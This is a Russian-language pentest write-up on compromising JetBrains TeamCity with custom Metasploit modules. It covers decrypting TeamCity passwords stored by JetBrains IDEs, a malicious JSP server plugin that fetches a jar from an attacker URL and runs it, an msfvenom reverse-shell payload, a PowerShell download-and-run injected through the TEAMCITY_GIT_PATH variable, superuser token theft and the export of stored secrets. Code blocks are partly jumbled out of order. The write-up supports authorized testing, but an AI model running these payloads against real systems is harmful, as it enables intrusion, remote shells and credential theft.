
Пентест TeamCity с использованием Metasploit
TL;DR: Получение паролей из JetBrains IDE (например, IntelliJ или PyCharm) и использование этих учётных данных на TeamCity Continuous Integration Server для получения сессии meterpreter на сервере и агентах сборки с помощью metasploit от Kacper Szurek.




Это комментарий от вендора (команда JetBrains TeamCity) от Yegor Yarko:
OKK <% String file_path = System.getProperty("java.io.tmpdir") + File.separator + request.getParameter("file_path"); String java_path = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java"; %> <%= file_path %> <%= java_path %> <% try { org.apache.commons.io.FileUtils.copyURLToFile(new java.net.URL(request.getParameter("file_url")), new File(file_path)); ProcessBuilder pb = new ProcessBuilder(java_path, "-jar", file_path); Process p = pb.start(); } catch (Exception x) { x.printStackTrace(System.out); } %> ``` Это позволит загрузить и выполнить meterpreter. Скомпилированный `.jar` файл [здесь](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip).Большая часть содержания статьи описывает, как злоумышленники могут злоупотребить TeamCity, если им обоснованно предоставлены соответствующие разрешения. Например, пользователь с ролью System Administrator (даёт полный контроль над сервером) может установить вредоносный плагин TeamCity или получить токен для доступа "суперпользователя" к серверу. Также пользователь с ролью Project Administrator может выполнить произвольный код на агенте или извлечь сохранённые пароли доступа к репозиториям. Такое поведение является частью функциональности, предоставляемой TeamCity как продуктом. Эти соображения описаны в документации TeamCity.
Описанные проблемы указывают на то, насколько опасным может быть предоставление высоких привилегий злоумышленнику. Администраторам сервера TeamCity следует регулярно проверять разрешения пользователей, чтобы не предоставлять потенциально вредоносным пользователям никаких разрешений, которые они могут использовать во зло; также проверять разрешения гостевого пользователя, если он включён. Другой момент — не оставлять свои терминалы без присмотра, будучи авторизованными с нетривиальными разрешениями.
Однако в статье отмечены две реальные проблемы безопасности: одна связана с публикацией вредоносного артефакта сборки и просмотром его в браузере администратором, а другая — с повышением разрешения на запуск пользовательской сборки до выполнения произвольного кода на агенте TeamCity. Вторая проблема имеет лишь незначительное влияние на большинство установок TeamCity, поскольку те, у кого есть такое разрешение, обычно уже имеют возможность выполнять любой код на агенте.
Тем не менее, мы собираемся решить указанные проблемы в одном из ближайших релизов TeamCity и благодарим вас за то, что обратили на них наше внимание.
Предположим, вы проводите тестирование на проникновение внутри компании, использующей стек JetBrains. Вы используете metasploit и получаете сессию meterpreter на компьютере разработчика.
Что делать дальше? Есть статья о пентесте TeamCity от Nikhil SamratAshok Mittal за 2015 год.
В этом посте я объединяю несколько методов из Security Notes и BugTrack и реализую их в модуле Metasploit.
Примечание: Я не использую здесь никаких 0-day. Для каждого действия необходимы действительные учётные данные TeamCity. См. Комментарий JetBrains.
Я не несу ответственности за любой ущерб, причинённый этим скриптом. Для безопасности данных используйте set CLEANUP false.
Протестировано на TeamCity 2017.2.1 (build 50732).
Для декодирования базы данных KeePass нам потребуется библиотека Ruby kdbx.
find / -name "metasploit-framework.gemspec"vim /usr/share/metasploit-framework/metasploit-framework.gemspecspec.add_runtime_dependency 'kdbx', '0.2.0'cd /usr/share/metasploit-framework/ && bundle installТеперь вы можете:
mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/postteamcity.rb и serverplugin.zip в ~/.msf4/modules/exploitsjetbrains.rb в ~/.msf4/modules/postmsfconsolereload_allTeamCity легко интегрируется со всеми IDE JetBrains с помощью плагина.

Если используется опция Remember me, пароли сохраняются через IntelliJ Platform Credentials Store API. Исходный код можно найти здесь.
Процедура дешифрования в Windows выглядит так:

pdb.pw расшифровывается с помощью Windows CryptUnprotectData. Это означает, что только пользователь, зашифровавший данные, может их декодировать.c.kdbx теперь можно расшифровать с помощью Master Password из пункта 2.0xDFAAПо умолчанию Master Password является случайным. Его можно изменить в настройках:

Но это ничего не меняет.
Это означает лишь, что база данных KeePass c.kdbx будет зашифрована другим паролем. Локальный пользователь всё равно может легко получить этот пароль из файла pdb.pw.
Предположим, у вас есть действительная сессия Meterpreter с `#1```` use post/jetbrains set SESSION 1 exploit
Вывод выглядит следующим образом:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit
[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed
Сейчас у вас есть учетные данные TeamCity от модуля JetBrains metasploit. В зависимости от текущей роли пользователя вы можете:
| Оболочка на сервере | Оболочка на агентах сборки | Суперпользователь | Сохраненные учетные данные | |
|---|---|---|---|---|
| Администратор | ✔️ | ✔️ | ✔️ | ✔️ Для всех проектов |
| Авторизованный пользователь | ❌ | ✖️ только на агентах Windows | ❌ | ❌ |
| Гость | ❌ | ❌ | ❌ | ❌ |
| Оболочка на сервере | Оболочка на агентах сборки | Суперпользователь | Сохраненные учетные данные | |
|---|---|---|---|---|
| Системный администратор | ✔️ | ✔️ | ✔️ | ✔️ Для всех проектов |
| Администратор проекта | ❌ | ✔️ | ❌ | ✔️ |
| Разработчик проекта | ❌ | ✖️ только на агентах Windows | ❌ | ❌ |
| Просмотрщик проекта | ❌ | ❌ | ❌ | ❌ |
Обратите внимание, что модуль metasploit не поддерживает пользовательские роли.
TeamCity можно легко расширить с помощью плагинов.

Используя эту функциональность, можно создать вредоносный плагин, который запустит сеанс meterpreter.
Hello.jsp поместите: ```java
<%@ page import="java.io.File" %>Server Administration->Diagnostics->Browse Data Directory и загрузите плагин в каталог plugins. (http://teamcity/admin/admin.html?item=diagnostics&tab=dataDir)
Server Administration->Diagnostics->Troubleshooting->Restart server (http://teamcity/admin/admin.html?item=diagnostics&tab=dumps)
.jar файл, используя http://teamcity/demoPlugin.html?file_url=http://attacker/my_malicious.jar&file_path=random_name.jarTeamCity Build Agent — это часть программного обеспечения, которая прослушивает команды от сервера TeamCity и запускает фактические процессы сборки. Он устанавливается и настраивается отдельно от сервера TeamCity. Агент может быть установлен на том же компьютере, что и сервер, или на другой машине.
Эксплуатация выглядит так:

Простыми словами: мы генерируем Java meterpreter, который размещается на Git-сервере. Затем мы создаём конфигурацию сборки, которая загружает наш meterpreter с Git-сервера и запускает его на агентах с помощью командной строки.
Сгенерируйте полезную нагрузку meterpreter: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -f jar > meterpreter.jar
Разместите meterpreter.jar на Git-сервере (например, используя https://gogs.io/)
Если у вас есть привилегии System Administrator, вы можете создать новый проект (http://teamcity/admin/createObjectMenu.html?projectId=_Root&showMode=createProjectMenu). Если вы Project Developer, вам нужно отредактировать проект, к которому у вас есть доступ.




| Ключ | Значение |
|---|---|
| Runner type | Command line |
| Execute step | Always, even if build stop command was issued |
| Run | Executable with parameters |
| Command executable | %teamcity.agent.jvm.java.home%/bin/java |
| Command parameters | -jar %system.teamcity.build.checkoutDir%/your_jar_file_from_git.jar |
8\. Запустить личную пользовательскую сборку на всех совместимых агентах

## Оболочка на агентах сборки Windows
По умолчанию `Project Developer` не может изменять/создавать шаги сборки.
Поэтому невозможно добавить и выполнить нашу вредоносную командную строку.
Мы можем попытаться обойти это в Windows, используя [Пользовательские переменные окружения](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables). Как?
TeamCity поддерживает [получение кода из git на агенте](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode).
Перед выполнением шага сборки агент загружает новейшие данные с git-сервера:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}
Агент проверяет, существует ли переменная окружения TEAMCITY_GIT_PATH. Если да, она используется как путь к исполняемому файлу git.
В проекте TeamCity разработчик может запустить сборку, к которой у него есть доступ, и указать пользовательские переменные окружения.
Таким образом, мы устанавливаем env.TEAMCITY_GIT_PATH в:```
"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('path_to_http_server_with_meterpreter')), '%system.teamcity.build.tempDir%/meterpreter.jar');Start-Process -FilePath '%teamcity.agent.jvm.java.home%/bin/java.exe' -ArgumentList '-jar', '%system.teamcity.build.tempDir%/meterpreter.jar';"

В логах сборки это выглядит так:```
[2018-01-30 20:54:55,342] INFO - jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"
[2018-01-30 20:54:55,343] INFO - jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718] WARN - jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+ ~~~~~~~
+ CategoryInfo : ObjectNotFound: (version:String) [], CommandNotF
oundException
+ FullyQualifiedErrorId : CommandNotFoundException
TeamCity имеет так называемую учетную запись суперпользователя. Она позволяет получить доступ к пользовательскому интерфейсу сервера с правами системного администратора, если вы не помните учетные данные или вам нужно исправить настройки, связанные с аутентификацией.
Если у вас есть права System Administrator, перейдите в Server Administration->Diagnostics->Server logs->teamcity-server.log и найдите строку Super user authentication token (http://teamcity/admin/admin.html?item=diagnostics&tab=logs&file=teamcity-server.log):```
[2018-02-06 17:26:40,697] INFO - jetbrains.buildServer.SERVER - Super user authentication token: "6221479178183012781". To login as Super user use an empty username and this token as a password on the login page.
Теперь вы можете войти, используя: `http://teamcity/login.html?super=1`
## Сохраненные учетные данные
TeamCity хранит такие вещи, как `VCS root passwords`, `password parameters` или `SSH keys` в зашифрованном виде и не показывает их содержимое в веб-интерфейсе или API.
Но это можно обойти с помощью функции `export`. Перейдите в **Your project->Settings Export->Export**

Эти файлы выглядят следующим образом:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
<name>exploiter</name>
<parameters />
<project-extensions>
<extension id="PROJECT_EXT_2" type="OAuthProvider">
<parameters>
<param name="displayName" value="Docker Registry" />
<param name="providerType" value="Docker" />
<param name="repositoryUrl" value="https://docker.io" />
<param name="secure:userPass" value="zxxyour_encrypted_passwords" />
<param name="userName" value="my_user_name" />
</parameters>
</extension>
</project-extensions>
<cleanup />
</project>
Зашифрованные строки начинаются с zxx и кодируются с помощью DES со статическим ключом.
Как мы можем прочитать в Teamcity Bug Tracker #TW-27206: Malicious data in build artifacts can initiate XSS attack.
В настоящее время все .html (и некоторые другие) файлы из артефактов сборки отображаются в браузере при клике на них.
Я создал небольшой фрагмент кода, который пытается создать новую учетную запись администратора.
Как может выглядеть эта атака? Мы пытаемся убедить администратора посетить наш вредоносный артефакт, доступный по URL-адресу http://localhost:8123/repository/download/Exploiter_Builder/83:id/our_malicious_artifact.html.

TeamCity позволяет включить гостевой вход, который предоставляет анонимный доступ к веб-интерфейсу TeamCity.
Администратор сервера может включить гостевой вход на странице Administration | Authentication page.
Вы можете использовать это для получения артефактов сборки.
Базовое использование:``` use exploit/teamcity set RHOST 192.168.1.1 set RPORT 8111 set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.118 set LPORT 4444 set USERNAME your_user_name set PASSWORD your_password exploit
Вывод выглядит следующим образом:
Дополнительные параметры:
| Имя | Описание |
|:---:|:---:|
|PROJECT_ID|Укажите ID проекта, по умолчанию будет создан новый случайный проект|
|BUILD_TYPE_ID|Укажите ID типа сборки, по умолчанию будет создан новый случайный тип сборки|
|VCS_ID|Укажите ID VCS, по умолчанию будет создан новый случайный VCS|
|CLEANUP|Удалить созданный проект/сборку/корень VCS|
|SERVER_PLUGIN|Путь к [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)|
|GIT_PATH|Путь к директории GIT|
# Поиск и устранение неисправностей
1. Я не могу загрузить модули Metasploit
Проверьте, скопировали ли вы `teamcity.rb` в каталог `~/.msf4/modules/exploits` и `jetbrains.rb` в каталог `~/.msf4/modules/post`.
Metasploit требует, чтобы модули эксплойтов находились в каталоге `exploits`, а пост-модули — в каталоге `post`.
2. Предупреждение! Не удалось загрузить следующие модули! LoadError cannot load such file -- kdbx
Вы установили [модуль kdbx](#installation)? Если да, выйдите из Metasploit и запустите его снова. Используйте команду `reload_all`.
3. Я не могу получить пароли из IDE, установленной на Mac/Linux
В настоящее время поддерживается только Windows. Извините.
4. Ошибка пост-модуля: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: Operation failed: 1
Вероятно, вы используете java meterpreter. В нем отсутствуют некоторые важные API. Мигрируйте на `windows/meterpreter/reverse_tcp` и попробуйте снова.
5. Запуск от имени SYSTEM, невозможно расшифровать данные
Поскольку пароли зашифрованы с помощью API `CryptUnprotectData`, функция декодирования должна выполняться в контексте обычной учетной записи пользователя.
6. Я не получаю [оболочку на сервере](#shell-on-server)
Запустите эксплойт второй раз.
7. `teamcit.rb` не работает, даже если текущий пользователь имеет достаточные привилегии
Этот модуль не поддерживает пользовательские роли.
8. Не удается найти git в %path%. Измените GIT_PATH
Нам нужны бинарные файлы `git` и `git-upload-pack` для настройки Git-сервера, который будет хостить наш meterpreter. Я использую идею [отсюда](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html).
```
set GIT_PATH /your/path/to/git/dir
```
9. Не удается войти как `username:password`
Проверьте учетные данные:
set USERNAME your_user_name
set PASSWORD your_password
10. Не удается найти плагин сервера: %path%. Измените SERVER_PLUGIN
Укажите, где хранится [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)
set SERVER_PLUGIN /your/path/to/serverplugin.zip
11. [-] Exploit failed: Rex::RuntimeError The supplied resource is already added.
Завершите фоновые задания с помощью `jobs -K`
12. Привяжите LHOST к конкретному IP-адресу, а не к 0.0.0.0
Привяжите к конкретному IP-адресу, например: ```
use LHOST 192.168.1.123
У вас нет прав на указанный проект. Посмотрите, к каким проектам у вас есть доступ, например: ``` You can modify only following projects: ["test", "second"]
и затем укажите идентификатор проекта: ```
set PROJECT_ID test
java/meterpreter/reverse_tcp?Потому что он переносим. Не стесняйтесь изменять функцию is_payload_compatible?.
Включите отладку:
set HttpTrace 1
set LogLevel 3